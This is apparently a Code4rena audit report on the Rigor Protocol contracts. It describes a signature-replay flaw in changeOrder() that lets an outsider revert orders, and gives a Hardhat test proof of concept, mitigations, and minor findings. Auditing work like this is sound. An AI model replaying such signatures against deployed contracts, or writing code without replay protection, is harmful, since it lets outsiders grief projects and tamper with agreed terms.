Rigor Protocol contest - rokinot's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L386

Vulnerability details

Impact

The changeOrder() function allows a builder/contractor to change a certain order's parameters by receiving a hash confirming the sender's signature and the data which serves as the parameters to modify. But the contract lacks any sort of security check to ensure the same hashes cannot be replayed, meaning anyone could grief the project by reverting those parameters to a previous state by reusing previous hashes.

Proof of Concept

• orderChanged() is called emitting an event with both hashes and data
• orderChanged() is called once again, changing the order to a second state
• An outsider user can simply send the same hash and data as arguments of the first call to revert the order to it's previous state

The following test can be run in order to reproduce the issue, paste the code at line 879 in projectTests.ts (further tests will fail).

it('anybody can change order to a past state', async () => {
    const taskID = 2;
    // invite SC
    await (await project.inviteSC([taskID], [signers[2].address])).wait();
    // accept SC invitation
    await (await project.connect(signers[2]).acceptInviteSC([taskID])).wait();
    const newSC = signers[2].address;
    const newCost = taskCost * 2;
    const projectAddress = project.address;
    const data1 = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, newSC, newCost, projectAddress],
    };
    let [encodedData, signature] = await multisig(data1, [
      signers[1],
      signers[2],
    ]);

    let tx = await project.changeOrder(encodedData, signature); //set order

    const secondCost = newCost * 2; //setting different cost
    const data2 = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, newSC, secondCost, projectAddress],
    };
    let [encodedData2, signature2] = await multisig(data2, [
      signers[1],
      signers[2],
    ]);

    tx = await project.changeOrder(encodedData2, signature2); //increase the order cost
    expect( await (await project.getTask(taskID)).cost ).to.be.equal(secondCost); //check if cost has increased
    //signers[6] is an address completely unrelated to the project
    tx = await project.connect(signers[6]).changeOrder(encodedData, signature); //outsider replays previous signature and set the order back
    expect( await (await project.getTask(taskID)).cost ).to.be.equal(newCost); //confirms the order was reverted to an initial state
  }); //medium test

Tools Used

Code reading, hardhat

Recommended Mitigation Steps

The issue cannot be reproduced if updateProjectHash() is called, which increases the nonce utilized in the signatures. Make sure to call this function internall after changing orders.

Alternatively, a mapping pointing to a bool value which signifies if the hash has been used before.

Low Risk

Tasks assigned with a cost of 1 USDC will always revert

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L903-L911

Since USDC has 6 decimals, 1 cent is equivalent to 0.01 * 1e6 = 1e4, which makes the calculation be equal to zero.

Missing zero address check

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L200

Non-critical

Non-view function marked under external view comment

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/ProjectFactory.sol#L78

Typos

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L514 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L520

Unnecessary uint256() casting

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L200

Function returns a value which is never assigned

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L225

Community number zero is never assigned

This happens because the community count is increased before _communities[communityCount] is called.

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Community.sol#L140

Functions guaranteed to revert can add the payable modifier

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol

Variables initialized as zero or false should be left unitialized

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L412